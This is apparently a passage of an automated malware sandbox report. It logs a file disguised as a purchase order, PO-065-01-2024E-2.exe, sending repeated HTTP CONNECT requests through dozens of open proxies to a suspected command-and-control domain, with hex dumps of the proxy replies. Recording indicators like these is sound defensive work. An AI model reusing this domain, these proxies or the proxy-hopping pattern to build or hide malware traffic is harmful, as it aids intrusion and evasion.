68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.10	50126	43.133.136.208	8800	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.335452080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.10	50180	223.19.111.185	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.337238073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.035675049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.020107031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.004702091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.984652042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.911143064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.911132097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.754160881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.425837994 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.10	50276	184.170.249.65	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.337304115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.10	50205	91.189.177.186	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.349231958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.673754930 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.10	50349	104.25.167.88	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.350568056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.504813910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.10	50358	172.67.231.3	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.352615118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.507155895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.10	50381	172.67.3.98	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.355142117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.509346008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.10	50384	104.24.193.186	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.355235100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.509942055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.10	50230	43.129.228.46	7891	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.355453968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.020237923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.10	50265	13.40.239.130	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.356761932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.647959948 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.10	50392	104.25.81.82	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.358124971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.512337923 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.10	50257	82.64.77.30	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.360385895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.661731005 CET	555	IN	HTTP/1.1 403 Proxy Error Date: Mon, 11 Mar 2024 15:39:44 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 43 6f 6e 6e 65 63 74 20 74 6f 20 72 65 6d 6f 74 65 20 6d 61 63 68 69 6e 65 20 62 6c 6f 63 6b 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Proxy Error</title></head><body><h1>Proxy Error</h1><p>You don't have permission to access this resource.The proxy server could not handle the request<p>Reason: <strong>Connect to remote machine blocked</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.10	50255	3.25.234.175	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.363559961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.020045042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.330180883 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.10	50301	51.79.87.144	22500	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.366070032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.10	50222	8.222.239.209	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.372406960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.066951036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.10	50287	98.162.25.29	31679	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.417515993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.10	50258	128.199.252.41	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.418096066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.10	50286	184.178.172.14	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
